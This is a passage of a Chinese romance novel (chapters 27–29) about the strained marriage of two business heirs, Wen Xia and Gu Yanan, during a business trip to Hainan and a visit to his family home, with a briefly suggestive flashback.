温夏平日里喝得红酒和香槟居多,劲大的白酒喝得少,但刘总比她大了三十多岁,总不能不给面子,浅笑道:“该我敬您关照晚辈。”仰头灌了一杯,辣的想皱眉,她强忍住。
“温总爽快,女中豪杰啊,”刘总给她倒酒,“再来。”
这位刘总倒没什么坏心思,只是习惯酒场文化,平日里谈生意都是一杯一杯喝出来的,温夏不好折他的面子,想到顾衍南也在这家酒楼,便放宽心陪他喝。
祁源帮她挡酒,奈何刘总的酒量太好,他们俩都没喝过他。
还是刘总见他们快撑不住了,大手一挥:“今天就到这吧,明天下午我们约个时间,把合同签了。”
温夏和他握手:“刘总,合作愉快。”
“合作愉快。”
等刘总走后,祁源扶着她:“夏夏,你还行吗?”
“嗯……”酒喝多了,温夏的头又晕又疼,拖着脑袋,“还行,我给顾衍南打电话,让他来接我。”他说过要和她一起回去的。
祁源坐在她身旁,看她脸快贴着屏幕,捣鼓一会儿,拨通一个号码。
楼上的包厢。
虽说顾衍南只是商人,但他的背景不容小觑,这次的新能源项目一共三期,总投资在二百八十亿左右,他们想从顾衍南口袋里掏钱,周书记倒也放得下架子,一副热情款待的东道主姿态。
顾衍南兴致缺缺,此起彼伏的敬酒声让他皱眉,边搭话边等温夏的电话。
她主动提出回来要和他坐一辆车,还说会给他打电话。
瞥了眼时间,快十点了。
她那边还没结束?
又皱了皱眉,盯着手机屏幕看了几秒,打消打给她的念头。
她去干正事,他又不是闲得慌,他也有正事要干。
原本这个时间节点来海南,就让她怀疑他是为她而来,再打电话催她,搞得他跟怨妇一样。
顾衍南冷嗤了声。
下一秒,手机屏幕亮起。
看到名字,他抬起手,触到屏幕的前一刻顿了下,五秒后,接通。
“喂?”他嗓音淡淡。
电话那头,她似乎喝醉了,温软的嗓音迷迷糊糊说:“我结束了,你什么时候来接我?”
微蹙的眉头舒缓,他淡声:“你在哪个包厢?”
他听到她问“学长我们在哪个包厢”,她那个学长回她“206”,顾衍南眯起眼,听到她说:“206,我在206,你……你快一点,我喝得有些多,不舒服。”
迷迷糊糊的语气,声音却软软糯糯的,顾衍南薄唇染上一抹极淡的弧度:“嗯,这就去。”
挂断电话,一旁专门负责从中协调牵线的林董看出顾衍南准备要走,联想到他和温夏感情不合的传闻,林董没敢随便调侃,只道:“顾总这是准备走了吗?”
顾衍南淡笑:“我太太在楼下,喝醉了,我去接他。”
林董诧异,面上不动声色:“这样啊。”
周书记眯起眼睛,想起温夏正在做的度假村项目,很快便明白顾衍南大老远地亲自走这一遭是为了什么。
他笑:“时间不早了,也该走了。”
顾衍南给足面子:“下次我请周书记喝茶。”
周书记拍了拍他的肩膀:“温总在海南投资的度假村项目,以后少不了常来这儿,这杯茶我记下了。”
都是聪明人,很多话不言而喻。
206包厢。
温夏感觉等了好久,顾衍南还是没来,表情越来越不好看。
顾衍南一推开门,就看到她闷着张脸,看他进来连句话也不知道说,就把头别了回去,摆足不想搭理他的姿态。
但与以往不理他不同,这个动作反倒更像在闹小脾气。
原本因为她喝这么多酒的沉下去的眼神缓了缓,忽视一旁的祁源,走到她身边,“怎么喝这么多酒?”
温夏脑袋很晕,不怎么想搭理他,只说:“头晕,回去。”
祁源把温夏的包递给他。
顾衍南比他高几公分,低眸,淡淡一笑:“多谢祁先生帮我照顾我太太。”
祁源扯了扯唇。
他不傻,能感觉到这位高高在上的大少爷对他的敌意——
那是一种并不是因为怀疑他和夏夏之间有点什么,而是单纯地对出现在自己妻子身边的异性的无差别攻击。
他早已过了因为这种事挑衅对方的年纪,觉得顾衍南这种行为未免过于幼稚,是高中生或者初中生才会做的行为,一点也不符合而立之年成熟男人的身份。他装作没听懂,回他一笑:“不客气。”
然后看向温夏:“顾总来了,他会照顾你,我先走了。”
温夏懵懂点头:“学长再见。”
顾衍南淡睨他,等祁源从包厢离开,低眸,见她居然还盯着门口的方向,忍不住凉凉道:“别看了,他对你没意思。”
他一早就知道这点,不然不会让祁源在她身边留这么久。
温夏像看神经病一样看他:“学长有女朋友的。”
那个戴眼镜的有女朋友关他什么事?不过他心里确实舒服不少,淡淡道:“他一把年纪,是该有女朋友了。”
“他只比你大四岁,没有一把年纪。”温夏俨然忘记自己也经常说祁源一把年纪的事。
“三十岁是分界线,过了三十岁的男人都算一把年纪。”
她垂着脑袋,认真想了一会,似是没想到该怎么回击,最后皱起眉头:“那你也很快就一把年纪了。”
“……”
他跟“一把年纪”四个字,有半毛钱关系?
不想把时间浪费在无关紧要的人身上,顾衍南一手拎包,一手揽她入怀,扶着她往外走。
没走两步,觉得麻烦,于是一把将她打横抱起来,她顺势搂住他的脖子,顾衍南勾了勾唇,不紧不慢地往外走去。
-
醉酒后的温夏很乖。
上车后,他把她抱到大腿上坐,她没有挣扎,安安静静地窝在他怀里,任由他把玩她的发丝。
原本顾衍南还觉得今晚灌她酒的人太不识好歹,可是看她这么乖巧听话,便打消跟那人计较的想法。
难得没有争吵,没有冷漠,初夏的晚风夹着丝凉意,顾衍南落下车窗,任由夜风灌进来。
夜幕早已降临。
温夏窝在他怀里,睁着眼睛,看着不断交错的夜景,突然被一种莫名的酸楚袭中,渐渐弥漫至全身。
下车后,顾衍南抱着她往里走。
温夏趴在他肩膀上,突然喊他:“顾衍南。”
顾衍南低眸,看着怀中温软的女人:“嗯?”
“我有点饿。”她低声说。
“想吃什么,我叫人送。”
夜晚的酒店安静冷清,顾衍南抱着她走进电梯。
单手抱着她,另一只手刷卡,按楼层。
听到她用很轻的声音说:“我想吃面条。”
顾衍南动作一顿,低眸,她出神地盯着电梯显示屏不断上升的数字,眉眼温软恬静。
她脸上还有被醉意氤氲的嫣红,黑白分明的眸子有些懵懂,反应也有些迟钝,似是不经意的随口提起。
他喉结滚了滚,低声应道:“好,我打电话叫人送。”
温夏立刻皱起眉,语气很不满:“你怎么这么喜欢麻烦别人?”
“……”
顾衍南看着怀里的麻烦精,“小姐,今晚一直是你在麻烦我。”
温夏闷着脸,有些恼怒:“不用让人送,冰箱里有面条和鸡蛋。”
顿了下,她补充,“还有青菜。”
这话是让他煮给她吃的意思。
娇蛮任性的语气很轻易就让顾衍南想起十年前,盯着她不断张合的红唇,很想问问她还记不记得十年前的除夕夜,他曾给她煮过一碗面。
他看着这双被醉意包裹的眼睛,滚了滚喉结,还是没问出口。
答案大概率不是他想听的,今晚她难得这么乖巧听话,犯不着提起过去这么多年的事,给自己添堵。
叮——
电梯抵达楼层。
顾衍南抱她出来,低低哑哑地道:“嗯,我煮给你吃。”
第27章 “她看你的眼神里并没有……
温夏被顾衍南抱到沙发上, “老实坐好,我去给你煮面。”
“噢。”温夏乖乖点头。
她今晚这副乖巧的模样,有些让人爱不释手, 顾衍南眉间的郁气散了些, 伸手捏了下她的脸蛋。
软软的,手感不错。
他又捏了下。
温夏秀气的眉头拧起,用力拍掉他的手,语气不善:“不准掐我的脸。”她又不是可以被大人随时上手捏脸的小孩子。
顾衍南看着她凶巴巴的表情,眉眼间笼罩一层薄笑,改为轻拍两下她的脸蛋,“坐着醒酒, 我去煮面。”
温夏怒瞪他。
他勾了勾唇,还是捏了把她的脸,比前两次都要用力。
掐完之后,看她这幅敢怒不敢言的表情, 心情甚好, 低低地笑出声。
温夏板起脸, 做足生气不理他的架势。
顾衍南很想接着逗她玩,这是一件极为有趣的事,这些年很难有什么事比把她惹炸毛更令人愉悦, 但她饿了,要吃面条,顾衍南颇为遗憾地揉了揉她的脑袋,站起身。
临走前, 随手抽了个抱枕塞到她怀里,“抱着吧。”
温夏迷迷糊糊地看着抱枕,慢半拍将它一把抱住。
醉酒, 大脑的反应很迟钝,温夏盯着抱枕看了会,然后低头看自己的手指,也看够了,最后朝厨房望去。
酒店套房比明湖公馆要小得多,客厅和厨房的距离不算远,他高大挺拔的身影在厨房穿梭,暖黄色的光线下,给人一种奇异的居家感。
用梁从音的话来说,顾大公子看着就不像过日子的人,且不论那张脸长得有多不安分,他这种从小习惯被人伺候的大少爷,肯定不会照顾人。
事实并非如此,顾衍南很会照顾人,至少温夏是这么认为。
无论是当年还是现在。
客厅的吊灯是冷色调的白光,以餐厅为分界线,一白一黄,切割成两个世界。
大脑被酒精刺激得有些兴奋,眼前这幕和记忆里少有的温馨片段重叠,熟悉到让人有种穿越时空的错觉。
这不是顾衍南第一次给她煮面。
早在十年前,在一个本该举家团圆的传统佳节,他们事先并没有约定,却在那天,不约而同走进那间只有独属于他们俩的秘密基地。
那年,大哥正式接手温氏,寒假被爷爷派去英国出差,过年都没时间回来。
温诗从小学习就不好,初中就被送去英国念书,那段时间她学校有活动,便和大哥一起在英国过的年。
大哥要她飞去英国,温夏想了想,拒绝了。
一来,她和顾衍南的关系,本来就没剩几天,来回折腾至少耽误五天。
二来,新年这个至关紧要的佳节,对她来说,并不是一个很重要的节日。
自打记事以来,温夏的新年便是和父母一起去老宅陪爷爷奶奶吃饭,吃完饭,父母坐上不同的车,他们兄妹三人回家,互相依偎着守岁。
后来,父亲去世,黎女士离开,除了人数减少,流程照旧。
那天,她走程序般去老宅吃饭,回到家,一个人站在空荡冷清的客厅,突然被熟悉的孤独袭中。
她从小便习惯孤独,甚至享受孤独,但不知道那天为什么,她不想一个人待在没有丝毫人气的大房子里。
鬼使神差的,她来到那间套房。
也许是比起偌大的别墅,这里空间小,显得没有那么寂冷。
刷卡,推开门,满室光线落入怀中。
温夏愣怔,在门口僵住脚步。
他看着刚来没多久,大衣脱掉,里面是一件黑色高领毛衣,胸口被他的胸肌撑得鼓鼓囊囊,紧身的黑色毛衣勾勒出比例完美的宽肩窄腰。
脑子里莫名想起梁从音说过的话:众所周知,黑色高领紧身毛衣是男人能穿的最淫.荡的衣服……
眼睛直勾勾地盯着,没什么需要避讳的。
顾衍南对她毫不掩饰的目光习以为常,淡淡瞥她:“在门口杵着做什么,还不进来?”
温夏:“……哦。”
关上门,形成封闭的空间。
按照常规的流程,应该先去洗澡,但两人今天并没有约。
于是温夏问他:“你怎么来了?不用陪你爷爷吗?”
“老爷子熬不了夜,九点就回房了。”他淡淡解释。
“……哦,”她礼尚往来,也解释说,“我大哥和妹妹不在家,家里只有我一个人。”
顾衍南的目光看过来,漆黑的眼睛盯着她。
温夏无意识紧了紧手指,隔着不远不近的距离,四目相对。
他的眼睛很好看,同时也很锐利,一言不发盯着人看,会给人一种浓烈的压迫感。
寒冬的深夜滞闷得让人感到窒息。
不记得当时脑子里想的什么,她突然说了句:“我没吃饱,有点饿。”
僵持的氛围被打破。
顾衍南收回视线,淡道:“我吃得很饱。”
“……”
她和父母不熟,更遑论一年到头说不了两句话的爷爷奶奶,晚饭时没有胃口,迟来的饥饿感缓缓苏醒。
温夏闷着脸,抱着手机坐到沙发上,去搜营业的餐厅。
很倒霉,今天是除夕夜,没几家开门的。
划拉一圈,没找到称心的餐厅,胸口憋着一股闷气,她摁灭手机,准备回家。
突然,门铃响起。
坐在她身侧沙发低头捣鼓手机的顾衍南起身,头也没回地问她一句:“面条吃吗?”
“……什么?”
顾衍南没理她,从门口的酒店工作人员手中接过一个袋子,径直走向厨房。
温夏眨了眨眼,跟进厨房。
袋子打开,里面有面条,鸡蛋,青菜,还有调味料。
顾衍南卷起毛衣袖子,露出纹理分明的小臂肌肉,紧绷的青筋凸显。
拨开水龙头,接水烧水,水开下面条,动作娴熟利落。
温夏靠着门框,感慨了句:“你会煮面啊。”
“智商超过二十的都会。”他淡嘲,头也没回。
“……”
温夏抬手摸摸鼻子,看在他给她煮面的份上,没跟他计较。
很快,一碗香气腾腾的鸡蛋面端到餐桌,色泽诱人,上面撒着精致的葱花,闻起来让人饥肠辘辘。
温夏盯着面条,咽了咽口水。
顾衍南递给她一双筷子,“吃吧。”
“喔……”
面条的味道对得起它的卖相,特别好吃,温夏真饿了,拿起筷子吃了起来。
顾衍南坐在她对面,就那么注视着她吃饭。
温夏觉得不自在,打破沉默:“面条很好吃,你厨艺真好。”
顾衍南轻扯嘴角,看着她:“还有呢?”
温夏想了想,诚恳道:“谢谢你。”
她很真诚地和他道谢,他却不满意:“一句谢谢就够了?”
温夏:“……”
她扯了个微笑:“那你想要什么谢礼?”
顾衍南挑了挑眉,语气轻佻,略带几分玩世不恭:“你觉得呢?”
他只是给她煮了碗面条,却拿出她欠他很多债的架势,她亲他脸,他不满足,亲他嘴,还是不满足。
她羞恼地跳到他身上,双腿夹住他的腰,怒瞪他:“这样总行了吧?”
他却脸皮很厚地回她:“温大小姐,你觉得咱们俩做,谁比较占便宜?”
“一直都是我在出力,你负责享受,你哪来的脸把它当做谢礼送给我?”
“……”
温夏:“那你想怎样?!”
他眯着眼,炙热的目光慢慢移到她的嘴巴上,似笑非笑。
温夏大脑反应了好几秒,才察觉到他的不怀好意,立刻捂住嘴巴,连连摇头:“不不不行……”
顾衍南没说什么,抱着她进浴室,洗完澡,她被他抱上床。
他靠着床头,她跪坐在他腿间。
微凉的指腹用力碾着她柔软的唇瓣,顾衍南垂眸看她,眼尾微微下垂,多了几分勾魂摄魄的诡谲。
低沉的嗓音蛊惑她:“试试。”
大概是他的声音太好听,温夏真的被蛊到,不再抗拒,反倒生出一种探索新事物的兴奋。
她眨了下眼,眼睫泛潮:“可是,我不会。”
“我教你。”他的手移到她的后颈,指骨抵着她,慢慢下压,掌面青筋爆起。
温夏胸口怦怦直跳,脸颊烧的通红,听到他哑着嗓子教她。
“嘴巴张大。”
“要把牙齿收起来。”
“不能咬到我,知道吗?”
温夏仰头,略微紧张地看着他。
同时,更多的是兴奋,跃跃欲试。
他喉结缓慢滚动,喘息声很重,掌心按着她的头,同时,挺身。
垂眸看她,哑声吐出两个字:“吃吧。”
……
“吃吧。”
顾衍南把面条搁在餐桌上,喊她。
温夏回神,眼睫剧烈颤了两下。
慢半拍扔掉抱枕,朝餐厅走去。
好在酒精让她露在外面的肌肤染上绯红色,通红的耳根并不突兀。
坐下后,顾衍南递给她一双筷子。
温夏接过,低头,慢条斯理地吃起来。
她受过最标准的名媛教育,进食的时候非常赏心悦目,让人觉得看她吃饭也是一种观赏性极高的乐趣。
顾衍南喝了口冰水,静静看着眼前人,目光不动声色地暗下来。
突然,听到她嘀咕了声。
没听清,他问:“什么?”
温夏垂眼,低声说:“好吃。”
没听见算了。
顾衍南不知道想到什么,眸中的情绪淡了下来。
海南的夜晚空气潮湿闷热。
吃完面,顾衍南抱她去浴室洗漱,收拾完,将她抱回床上。
他没上床,拿起烟盒和打火机,推开阳台的门。
风灌入怀中,巨浪声遥遥传来,“啪嗒”一声,点燃一根烟。
顾衍南靠在玻璃栏杆,烟雾漫过锁骨和下巴,继续上升。
面容渐渐模糊。
抽烟有让人平心静气的功效,一连几根,胸口的烦躁压得差不多,顾衍南在原地站了会,待身上的烟味散尽,抬腿回房。
-
翌日清晨。
温夏是被身侧男人起床的声音吵醒。
还没睁眼,就感觉脑袋一抽一抽的疼,她艰难地掀起眼皮,看着男人的背影,嘟囔了句:“你去哪儿?”
顾衍南动作微顿,回头看她:“吵醒你了。”
“嗯……”她迷迷糊糊的,追问,“你要去哪儿?”
“去厂房实地考察。”
哦,他是去办正事的。
温夏拉着被子,蒙住脑袋:“你去忙吧,我上午没有行程,我要接着睡,头还是很疼。”
处于半梦半醒中,她的声音有几分哑,软糯好听,顾衍南把她的被子拽下来:“不要蒙头睡。”
温夏嫌他烦人,拍他的手:“你赶紧走吧。”
顾衍南勾了下唇,捏捏她的脸蛋,“午饭陪我吃。”
温夏迷迷糊糊地问:“哪里?”
“到时候给你发定位。”
“喔……”
自从来到海南,温夏没睡过一个好觉。
也不知道是不是昨晚事情解决,这一觉睡得很沉,醒来后已经十一点了。
手机里,顾衍南给她打了三个电话。
大概是她没接,他在三分钟前,又给她发了条短信:[醒来给我回电话。]
温夏抿抿唇,给他回过去。
没有预想中的指责嘲讽,他语调随性慵懒:“刚醒?”
温夏微怔:“嗯,睡过头了。”
“换身衣服下楼,周之恒去接你。”
“哦,我这就起来。”
挂断电话,温夏没耽搁,洗漱完,翻了身没那么职业的职业套装——她是来出差的,带的都是适合工作穿的衣服。
周之恒站在车旁,看到她的那刻,眸底闪过一抹惊艳。
因为太太今晚打扮得格外漂亮。
倒不是说太太平时不漂亮,而是她今天换了种风格。
自从太太嫁给顾总以后,就是经典的精英优雅风穿搭,这身虽然也有点精英风,不过红色衬衫的扣子多解开一颗,平添几分温柔的妩媚。
总是挽起来的长发随意披散,垂落至腰,发丝随风吹起。
周之恒没敢多看,收回视线,给温夏拉开车门。
靠近时,周之恒闻到太太身上的香水味。
他绕回主驾驶,转动方向盘,从后视镜里偷窥。
温夏垂眸拨弄手机,温静的眉眼笼罩着淡淡的笑意。
怎么看怎么觉得,太太这身装扮是去约会的。
顾总和太太最近关系非常融洽,这点他是看在眼里的。
打工人真实心声:真希望能一直融洽下去啊。
目的地是当地一家有名的海景餐厅,周之恒去停车,在就近的路口把她放下。
下车后,温夏踩着高跟鞋过马路。
餐厅坐落于海边,能听到潮涨潮落的海浪声,海平线蜿蜒得看不到尽头,椰林遍布,海风咸湿,夹杂几缕花香。
很适合度假。
他们的度假村项目,应该能赚不少钱吧。
胡思乱想着,十字路口,一道深蓝色的高大身影闯入视线,温夏的脚步募地顿住。
男人身形高大挺拔,气质成熟稳重,轻而易举在人群中脱颖而出。罕见地穿了件深蓝色衬衫,不知道是不是天气热的缘故,袖口卷至手肘处,平添几分漫不经心的慵懒。
他的对面是一个留着公主切的女生,女生一身度假风长裙,妆容精致,笑起来眼睛弯弯的,仰头看着他,不知道在说什么。
很常见的一幕,这些年,她不知道见过多少次。
他这样的人,走到哪里,都不会缺女孩搭讪。
无论是年少轻狂的十八岁,还是成熟稳重的二十八岁。
无数帧画面闪过,温夏垂下眼皮,睫毛动了动,正要收回目光,顾衍南突然朝她看来。
女孩见男人转头,跟着看过来。
盯着温夏看了两秒,她问:“是她吗?她就是你的妻子?”
顾衍南淡淡应了声:“嗯。”
女孩狐疑地盯着温夏——
她是来海南旅行的,没想到刚下飞机的第一站,就碰到一个让她一见钟情的男人,在闺蜜的怂恿下,果断上了。
她没看到男人戴婚戒,便以为他是单身,前来搭讪,想要加个微信,却被果断拒绝,理由是:我结婚了。
正要说点什么,就见男人转过头,看着一个长发美女。
目光在两人之间巡视,职业病上来,她眯起眼:“真的吗?可是那位美女姐姐一没有戴戒指,二从她的微表情分析,她看你的眼神里并没有爱意,我是专业学心理学的,你是为了拒绝我找的理由——”
“让开。”
嗓音冷沉,俨然没有最初的绅士风度。
女生闷闷不乐地走了,她导师可是业界大拿,她学了八年的心理学,那美女看他的眼神根本就没有丝毫爱意。
非要说什么——有点过于冷淡。
走了几步,她忍不住回头,看到那个美女穿过斑马线,走到他面前。
难不成真是他妻子吗?
“她来找我要微信,我没给她。”顾衍南看着她的眼睛。
温夏点点头:“哦,你订好位置了吗?”
“嗯。”
“快进去吧,我和刘总约的下午三点签合同,吃完饭我得回酒店提前把律师拟好的合同看一遍。”她语气寻常道。
顾衍南盯着她的脸,漆黑的眸子像深不见底的黑洞,眼神晦暗复杂。
垂在身侧的手指紧了紧,她指着自己,笑了笑:“怎么了?我有什么不对劲吗?”
顾衍南扯了扯嘴角,目光收回,淡声说:“进去吧。”
第28章 隔着一层薄薄的透明玻璃……
两人沉默地吃完这顿饭。
说沉默也不准确, 因为点菜的时候温夏问他意见,他会回,态度虽冷淡, 但没有不耐。
温夏主动找个话题, 他接了几句,见他没有想聊天的意思,她就没再开口。
吃完饭,温夏去和刘总签合同,过程比预估得要顺利得多,结束后,温夏跟蒋总复命。估摸着是她这事出了力, 蒋总说要她派个人担任度假村项目的副经理,相当于给她一部分实权。
当天傍晚,温夏和温氏的人一同飞回北城。
顾衍南在这边还有点事没处理好,要明早才能走, 温夏问他要不要她等他, 他说, 你忙你的。
温夏跟大部队走了。
第二天中午,温夏刚开完会,接到顾衍南的电话, 要她半小时后下楼,他接她去顾家老宅。
温夏交代完手里的工作,和祁源说了声,拎包下楼。
天气预报显示, 今晚有暴雨,此刻室外闷热难耐,从写字楼出来, 热气迎面扑来。
好在那辆黑色宾利就在路边,温夏踩着高跟鞋快步走去。
周之恒为她拉开后车门,凉沁的冷气赶走身体的不适,温夏抬眸,看到后车座闭目养神的男人。
车门轻轻关上。
一路无言。
到了老宅门口,温夏转头,顾衍南还没睁眼。
司机和周之恒都为难地看着她。
温夏抿了抿唇,轻声说:“到了。”
男人缓缓掀开眼皮,看她一眼,嗓音淡哑:“嗯,下车吧。”
她的眼皮轻颤了下。
依旧是如往常那般,她挽起他的手臂。
不管发生了什么,这段婚姻最初的目的不会变——让顾爷爷满意。
他们进去的时候,迎面撞上一对中年夫妻。
顾爷爷也在,亲自送他们离开。
“徐教授,苏教授。”顾衍南颔首。
“这就是小夏吧?”女人看向温夏,语气亲和,“你们的婚礼我跟你徐老师有事没能赶来,这还是咱们第一次见面呢。”
温夏颔首,浅笑打招呼:“徐教授好,苏教授好。”
苏教授是典型的文化人长相,笑起来眼角有细纹:“果然是又漂亮又有气质,茵茵一点没说错,你们俩看着就般配。”
温夏淡笑。
顾衍南:“她没跟你们回来?”
苏教授:“本来是要回的,机票都订好了,学校那边突然出了点事,必须得她亲自去,只能把票退了。”
“她还说呢,你的婚礼,眠眠的婚礼她都没能来,等她下次回国请你们吃饭。”
顾衍南:“学业重要。”
“那丫头,事业心一直都强……”
几人站在庭院寒暄。
温夏在一旁静静听着。
——两家关系肯定不错,不仅是和顾爷爷,和顾衍南的关系也很好。
从他主动问那个“茵茵”没回国就能推测出。
他性格素来寡淡,遇到需要给面子的长辈,能做到有问有答就很难得了,更遑论主动关心旁人。
“时间不早了,我们得走了,”苏教授看了眼腕表,“今天中午和国内的老同学约好一起吃饭的,顺路来看看顾叔。”
她口中的“顾叔”指的是顾老爷子,老爷子平日严肃的脸上此刻染上薄薄的笑意,阴阳怪气道:“是啊,好不容易回国一趟,连顿饭都不陪我老头子吃。”
苏教授面露愧疚:“顾叔,我们之后会经常回来看您。”
顾老爷子冷哼。
“真的顾叔,”苏教授急着道,“茵茵打算明年博士毕业后回国发展,我和老徐也决定回国。”
顾老爷子眯起眼:“真的?”
“当然了顾叔,我怎么可能骗您,”苏教授叹了口气,“我们就茵茵一个女儿,肯定是她去哪儿我们跟到哪儿。”
顾老爷子脸色好看了些,他年轻那会儿当兵的,对苏茜在国外定居的决定非常不满,冷哼:“好好的中国人非要跑到国外,当了这么多年的假洋鬼子,终于想通了吧。”
“……顾叔啊……”
送走徐苏夫妇,顾老爷子还在念叨:“你苏姨这个没良心的,她小时候我可是把她当成亲闺女疼,到国外念了几年书就忘了自己是哪国人了,非要留在美国,还是茵茵那丫头懂事,知道自己的根在哪儿。”
顾老爷子难得话多,从庭院到客厅,一路上一直在念叨徐苏夫妇。
顾衍南时不时应两句。
温夏在一旁沉默地听着,像个局外人。
走进客厅,顾衍南随意扫了眼,问:“眠眠呢?”
“屋里呢,”顾老爷子压低声音说,“不知道是不是跟江肆那孩子闹矛盾了,我看她早起就闷闷不乐的,还有三天就是婚礼了——”
顿了下,他看着顾衍南和温夏,“你们俩去问问怎么回事,如果真是江肆那孩子惹她不高兴了,还办劳什子的婚礼,他和他自己拜堂吧!”
“……”
小辈在长辈面前,大多是同样的心态,报喜不报忧。
顾老爷子知道自己问眠眠肯定什么都不会说,就把任务交给顾衍南和温夏。
“问清楚后,一起下楼吃饭。”
顾衍南&温夏:“知道了,爷爷。”
两人并排,沉默地往走廊深处走。
一左一右,距离近到触手可及,中间却仿佛隔着一层薄薄的透明玻璃。
阮眠的房间在最东南的那间,敲门。
开门后,阮眠诧异:“哥,嫂嫂,你们——不会是专程来喊我吃饭的吧?”用得着这么大的阵仗?两个人亲自来喊?
“饭还要等一会儿,”温夏笑道,“我和你哥有事想和你聊聊。”
阮眠有些懵:“噢,哥,嫂嫂,你们快进来。”
温夏还想着要怎么委婉引入话题,顾衍南一进门,单刀直入地问:“江肆是不是欺负你了?”
阮眠:“……啊?”
顾衍南沉声说:“他要是欺负你,让你不高兴,我看这个婚礼就没有办的必要。你是我顾衍南的妹妹,不用因为觉得马上要举办婚礼面子上过不去就委曲求全。你是我们顾家的孙女,江肆他如果给你委屈受,你分分钟就可以踹了他,其他任何顾虑都不需要有。”
顾衍南在她面前一直是温和体贴的兄长形象。
很少会说这么长篇大论。
阮眠愣了愣,回过神,连忙摆手:“没有没有。”
顾衍南一言不发地盯着她。
哥哥今天好凶啊。
谁惹他生气了吗?
阮眠被盯得头皮发麻,不敢再隐瞒:“哥,江肆没有欺负我,他对我很好也不会欺负我——”
顿了下,她的语气有几分不好意思:“其实是误会,就是我朋友看到他和一个女孩子走在一起,比较……亲密,我虽然知道他不会做对不起我的事,但心里就是有点不舒服。”
她看向温夏,眨了下眼睛,“我看网上说,婚礼前夕很容易出现这种患得患失的情绪,对吧,嫂嫂?”
温夏淡笑:“嗯。”
顾衍南的目光落在她脸上,深沉复杂。
阮眠继续道:“江肆察觉到我不对劲,刚刚给我打电话的时候问我怎么回事,我就告诉他了,他说那是他的一个表姐,做旅游策划的,他找她是问蜜月相关的事。”
“话都说通了,哥,你不要生他的气,他对我很好的。”阮眠怕哥哥对江肆不满,连忙道。
顾衍南的目光从她温静淡漠的侧脸收回,淡淡开腔:“他如果敢欺负你,第一时间告诉我。”
阮眠:“喔!”
问清楚,顾衍南没多说别的话,从阮眠房间退出。
阮眠松了口气,去拉温夏的袖子:“嫂嫂,哥哥遇到什么不开心的事了吗?感觉他今天好凶啊。”
温夏垂下眼皮,默了两秒,淡声:“工作上的事吧。”
-
饭后,一整个下午都在顾家老宅,一是在忙眠眠婚礼的事,二是帮顾老爷子接待客人。
顾老爷子这些年可以说过上半隐居的生活,平日里很少有人来打扰,这次借着阮眠婚礼的名头,关系还算亲近的一窝蜂来给他祝福。
一直忙到晚上八点,他们才从顾家老宅回来。
夜色浓稠,乌云密布,气压低的好似随时会有倾盆暴雨。
回到家,顾衍南什么都没说,就去了书房。
“砰——”
直至关门声的余音消失,温夏抬腿,走进卧室。
走流程一般洗漱完,上床,掀开被子。
时间跳转到十二点,温夏摁灭手机,把灯关上。
明早有会要开,她需要快速入眠,只留一盏小夜灯。
耳边很安静,万籁俱寂,听不到任何声音。
窗帘拉上。
这样的环境很适合睡觉。
然而,在这样的环境里,她没能酝酿出丝毫的睡意。
温夏烦躁地起身,将最后一盏小夜灯关掉。
室内一片黑暗。
……
一墙之隔的书房。
顾衍南坐在办公椅里,视线落在笔记本屏幕上,上面播放着他随手点开的电影。
第二部快要播完了。
水晶烟灰缸里满是烟头,他指间夹着烟,没抽,直至猩红灼烧指尖,痛意让他回神,低眸瞥了眼,掐灭,点燃新的一根。
片尾曲响起,第二部播完,他眼眸动了动,视线掠过笔记本右下角的时间。
一点四十三。
夜越来越深,也越来越静,不会有人过来了。
良久,他嘲弄地扯了扯嘴角,掐灭烟,关掉笔记本,起身回房。
卧室门打开,走廊光线投射进来,她侧身躺着,闭上眼睛,呼吸均匀。
已经睡着了。
没有什么能影响她的睡眠。
顾衍南站在床边,静静盯着她熟睡的面容,想起从老宅临走前,眠眠问他是不是心情不好?谁惹他生气了吗?
他说:没有。
她没有惹他生气,她跟以前一样。
她一直都是这样。
他又不是第一天知道。
既如此,还有什么生气的必要。
第29章 毒以入骨,药石难赎
快两点才入睡。
一觉睡的断断续续, 温夏中途醒来,迷迷糊糊地伸手探去,募地触碰到坚硬温热的身体, 她愣怔片刻, 立刻缩回来。
昏沉的脑袋陡然清醒,眼珠动了动,她在黑暗中,缓缓掀开眼皮,深夜寂静得能听到心脏跳动的声音。
他没有如往常般抱着她睡,而是背对着她。
前天晚上,他是抱着她入睡的, 他的力道总是很紧,睡着后有些不受控制,她半夜被他勒的喘不过气,踢他一脚。他被吵醒, 不耐地皱眉, 报复式地狠狠吻她一通, 抱着她接着睡。
男人均匀清浅的呼吸落入耳中,温夏茫然地看着满室黑暗,脑子里想到很多事。
十年前的, 几月前的,还有这两天的。
各种想法纷乱复杂,闭眼之前,她想到前天中午, 他们去海景餐厅吃饭,短暂对话后,他盯着她的眼神。
她猜不出他在想什么, 他的心思向来很难猜,那眼神前所未有的深沉冷漠,像是把她置身于审视的客体,逐一分析她面上的所有表情。
她还以为他会发火,但没有,这个小插曲谁都没提。
温夏摸摸窒闷的心口,慢慢闭上眼睛。
比起歇斯底里的争吵指责,她更习惯平和体面的方式,这是黎女士和父亲教给她的——她听大哥说,他小时候,父母半夜总是吵架,甚至是打架,吵完黎女士就会抱着他哭。后来他们不再争吵,渐渐形同陌路,他也不用成为他们吵架指责的中心话题,反倒能维持表面的平和,这样对谁都好。
她和顾衍南会变成她父母那样吗?
她不知道。
但她知道她需要早点为这一天做准备,利益上,心理上。
只有提前做够充足的准备,到时候,她才能不慌不忙,游刃有余,不至于慌乱无措到失去理智。
-
第二天,温夏是被身侧的动静吵醒的。
这一觉睡得很浅,稍微有点声音她就醒了,睁开眼,下意识转头看去。
瞳眸骤然一缩。
男人松松垮垮地穿着黑色的睡袍,黑色短发像被炸弹炸过一般凌乱,那张俊美冷淡的脸上特别红,红的不正常,他眉头紧紧蹙着,看起来很不舒服。
浑身都往外散发着一股热气。
温夏眼睫猛地一颤,坐了起来,下意识伸手去碰他的额头,还没触到手腕就被一只滚烫的大手攥住。
很烫,烫得温夏吓了一跳,这温度,至少三十九度朝上走。
“你发烧了,我陪你去医院,”温夏看向被他攥住的手腕,着急道,“你先松开我,我去换衣服。”
她的语气急切,好似很关心他会不会烧死,顾衍南深眸静静地盯着她,一动不动。
平日里总是强势冷硬的男人,哪怕此刻眼神再锋利,在病态下也敛去几分杀伤力,有一种难以形容的脆弱。
脆弱这个词,和他放在一起,异常违和,但此刻温夏找不到更好的形容词。
她的心脏蜷了蜷,软下声音:“先松开我好吗?我去找体温枪,给你测体温。”
顾衍南松开她的手。
